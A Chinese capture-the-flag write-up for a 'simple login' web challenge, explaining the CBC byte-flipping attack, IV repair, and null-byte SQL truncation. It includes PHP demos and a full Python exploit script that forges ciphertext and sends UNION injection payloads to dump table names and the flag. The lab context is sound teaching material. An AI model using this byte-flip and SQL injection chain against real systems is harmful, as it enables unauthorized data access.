实验吧-简单的登录题——WriteUp再研究

前言

这个题目的难点就是在于对于CBC加密方式尤其是解密这部分要琢磨一番,让我想起当年大学的时候信安三勇中的两勇的课,一门密码学,一门数学基础,可怕之极。这个题网上writeup一大堆,但是在一些方面解释的不是很详细,对大神们已经说的很清楚的地方我就粗略带过。

CBC解密以及字节翻转攻击(cbc-byte-flipping-attack)

我主要以CBC字符翻转 原理与实战这篇文章为基础,对其中一些细节做进一步解释。
在继续往下看之前,希望你先粗略读一遍这篇文章。
实验吧-简单的登录题——WriteUp再研究_第1张图片
我们主要关注一下解密过程。

  • 对于第一个密文块来说,使用密码解密后的数据要与初始化向量IV做异或运算才能得到明文
  • 对于第N个密文块(N>1)来说,使用密码解密后的数据要与第(N-1)个密文块做异或运算才能得到明文

以CBC字符翻转 原理与实战这篇文章中的代码示例为基础,我做了一点简单的修改,将iv作为一个参数而不是预定义方式,方便我们后面使用,其他部分均未作改变:


如果我们执行的话,输出结果应该是这样:
这里写图片描述
我们可以看到,6变成了7,且头部出现了乱码。
先研究下为什么6变成了7。

第二个密文块

首先,我们假设每一个块(block)为8个bit:
事实上在本题中每个块为128个bit,通过阅读源码可以发现使用的是aes-128-cbc,另外,我们执行的是字节翻转攻击,所以在做题时基本操作单位是byte,这里为了方便理解,我们微缩化了具体过程
| 块| 二进制表示 |备注|
| - | :-: | |
|明文块#2|11000000||
| 密文块#1 |01001100||
| 密文块#2 | 01000100|由明文块#2与密文块#1异或运算后用密钥key加密而来|
| 解密后的块#2 | 10001100 | 由密文块#2用密钥解密而来,注意还不是完全的明文 |
| 异或运算后的明文块#2 |11000000 |由解密后的块#2与密文块1异或运算后而来|
假设我们现在需要将异或运算后的明文块#2的值修改为11010000,也就是改动其中第四个bit从0变为1,我们能够操纵的是密文块#1
我们知道
解密后的块#2 XOR 密文块#1 = 异或运算后的明文块#2

10001100 
XOR
01001100 
=
11000000

实验吧-简单的登录题——WriteUp再研究_第2张图片
我们只需要让密文块#1变为01011100,就可以让异或运算后的明文块#2变为11010000即:

10001100 
XOR
01011100 
=
11010000

如何让密文块#1变为我们想要的01011100呢,你可以说直接操作bit就行了,right,但是当每个块为128个bit时,显得太麻烦了,我们在实际例子中操作的是byte。

回到代码中

$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
这里可以16个byte为一组进行分块,因为在块加密算法中也是这样分的。
BLOCK#1:a:2:{s:4:"name";
BLOCK#2:s:6:"sdsdsd";s:8
同样的道理,如果我们修改BLOCK#1的密文的第3个字节也就是数字2的值,就能够操纵BLOCK#2中的第3个字节的值。
按照代码中的例子,我们需要把数字6变成7。这里相信很多人都有点迷惑了,怎么办?
我们先看一个公式:
设Cipher_Block_#1是BLOCK#1的密文,Cipher_Not_XOR_#2是BLOCK#2的密文解密后未执行异或运算的密文,那么就有:
Cipher_Block_#1 XOR Cipher_Not_XOR_#2 = BLOCK#2
我们精确到我们需要改变的字节:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] = BLOCK#2[2] = 6
进一步,我们有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6= 0
0 XOR 7 = 7
则有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6 XOR 7= 7
我们只需要令
Cipher_Block_After_Modified#1[2] = Cipher_Block_#1[2] XOR 6 XOR 7
就能够操纵BLOCK#2[2]变为7
这就是这行代码做的事情:
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
上面的公式看似复杂,实则非常简单,希望不要被吓到。

乱码怎么办?

这就涉及到第一个密文块,我们为了修改第二个密文块解密出的内容,必须修改第一个密文块,第一个密文块要使它不是乱码,就要修改初始化向量IV,使得异或运算后得到正常的值,事实上和上面的原理一致。
现在我们需要认识到,由于密文块1被修改,导致使用key解密后未执行异或运算前的密文也受到影响,我们设为Cipher_Not_XOR_Wrong_#1,同样,对于解密出的乱码明文我们设为BLOCK_Wrong_#1,我们需要让解密出的明文是正常可读的也就是BLOCK#1:
则有公式:
IV XOR Cipher_Not_XOR_Wrong_#1 = BLOCK_Wrong_#1
这里我们不能像上面一样,只修改IV的第二个字节,因为整个密文块1已经被我们改动了一个字节,会导致解密结果不仅限于一个字节,因此我们跳过精确到字节的公式,直接有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1= 0
0 XOR BLOCK#1 = BLOCK#1
则有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1 XOR BLOCK#1 =BLOCK#1
我们只需要修改IV,令其为:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
就能操纵第一个被修改后的密文块解密出正常的明文。我们修改示例代码,在结尾插入如下代码:

$iv="1234567891234567";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($b[$i]) ^ ord($iv[$i]) ^ ord($v[$i]));
}
$c = array();
$c = @decrypt($enc,$iv);
echo "Plaintext Third attack : $c\n";
?>

最终的执行结果为:
这里写图片描述
很不错,正确解密。

回到题目中

首先,我们通过阅读源码得知,是过滤了#的,那么,我们先尝试用字节翻转攻击使用#注释掉limit $id,0中的,0

Step1

发送如下数据包:
实验吧-简单的登录题——WriteUp再研究_第3张图片
再简单不过了,就只有一个id=12。服务器返回了iv和cipher。在源代码中我们发现:

if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
        
		die("

sql inject detected!

"); $info = array('id'=>$id); login($info); echo '

Hello!

';

OK,我们自己来序列化一下看长什么样子:

$id);
echo serialize($info);
?>

执行结果为:
a:1:{s:2:"id";s:2:"12";}

Step2

16个byte为一组,进行分组:
BLOCK#1:a:1:{s:2:"id";s:
BLOCK#2:2:"12";}
我们先修改cipher中的BLOCK#1的密文,使得BLOCK#2的解密后结果为2:"1#";},这样就能够使用#注释掉,0了。


得到cipher为:
%2FccfSuxqyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D
使用这个cipher的值,iv不变,post数据包:
实验吧-简单的登录题——WriteUp再研究_第4张图片
服务器返回的结果很明白,无法正常反序列化,因为我们的密文块1被修改,导致明文块1乱码。

Step3

现在我们知道了乱码明文的base64值,以及原本正常的明文值,依据上面的公式:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
修改IV即可:


输出结果为:
eAL6lHy4%2FFjkKpcDadn5KQ%3D%3D
使用这个iv替换数据包中的iv,再次重放:
实验吧-简单的登录题——WriteUp再研究_第5张图片
注入成功。

获取FLAG

剩下的都是相同的操作。网上的python脚本写的有各种各样错误,也有些地方没有说清楚,下面放出我的脚本:

import requests
import re
from base64 import *
from urllib import quote,unquote

url="http://ctf5.shiyanbar.com/web/jiandan/index.php"

def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):
	payload = {"id":payload}
	r=requests.post(url,data=payload)
	iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
	cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
	cipher=unquote(cipher)
	cipher=b64decode(cipher)
	cipher_list=list(cipher)
	cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))
	cipher_new=''.join(cipher_list)
	cipher_new=b64encode(cipher_new)
	cipher_new=quote(cipher_new)
	cookie = {'iv':iv,'cipher':cipher_new}
	r=requests.post(url,cookies=cookie)
	content = r.content
	plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]
	plain=b64decode(plain_base64)
	first_block_plain="a:1:{s:2:\"id\";s:"
	iv=unquote(iv)
	iv=b64decode(iv)
	iv_list=list(iv)
	for i in range(16):
		iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))
	iv_new=''.join(iv_list)
	iv_new=b64encode(iv_new)
	iv_new=quote(iv_new)
	cookie = {'iv':iv_new,'cipher':cipher_new}
	r=requests.post(url,cookies=cookie)
	return r.content
def get_columns_count():
	table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
	for i in range(len(table_name)):
		payload="(select 1)a"
		if i==0:
			payload = "0 2nion select * from("+payload+");"+chr(0);
			content=find_flag(payload,6,'2','u')
			resp=re.findall(".*(Hello!)(\d).*",content)
			if resp:
				print "table has 1 column and response position is 1"
				return payload
			else:
				print "table does not have %d columns" % (i+1)
			continue
		for t in range(i):
			payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
		payload = "0 2nion select * from("+payload+");"+chr(0);
		content=find_flag(payload,6,'2','u')
		resp=re.findall(".*(Hello!)(\d).*",content)
		if resp:
			print "table has %d column and response position is %s" % (i+1,resp[0][1])
			return payload
		else:
			print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')

get_columns_count

这个函数的目的是为了判断Union中select的次数,也就是说需要暴力破解处you_want表中的字段列数量,网上直接给出了结果是3个,我简单写了个函数去破解

6 or 7?

可以看到,有些payload中需要翻转的字节索引是6,有的是7,这主要是因为php序列化后,会在key和value中间加入一个长度值,如果payload太长,这个值就会变为3位,那么索引就是7,如果这个长度值是2位,那么索引就是6

关于chr(0)

评论中有闻到chr(0)是什么意思的,说明如下:
https://www.php.net/manual/en/security.filesystem.nullbytes.php
实验吧-简单的登录题——WriteUp再研究_第6张图片
上图是php官网对空字节也就是0x00或者说%00引起的安全问题的解释,总的来说是因为php使用基于C语言的函数来操作文件系统,空字节在C语言里面是作为字符串的结尾标志,因此导致后续的字符串会被忽略掉。
放在mysql连接里面是一样的道理,php在连接mysql数据库进行查询,所以来的数据库接口实现也是C的,因此就会出现空字节注入。
我简单写了一个页面,代码如下:
实验吧-简单的登录题——WriteUp再研究_第7张图片
然后我从浏览器发起了一个正常请求http://myserver:8081/index.php?id=root和一个由空字节结尾的注入语句http://myserver:8081/index.php?id=root%22;%00
实验吧-简单的登录题——WriteUp再研究_第8张图片
实验吧-简单的登录题——WriteUp再研究_第9张图片
使用wireshark抓一下服务器上mysql的包:

可以看到,第二次在注入语句时,sql查询语句已经被空字节截断了。

你可能感兴趣的:(CTF)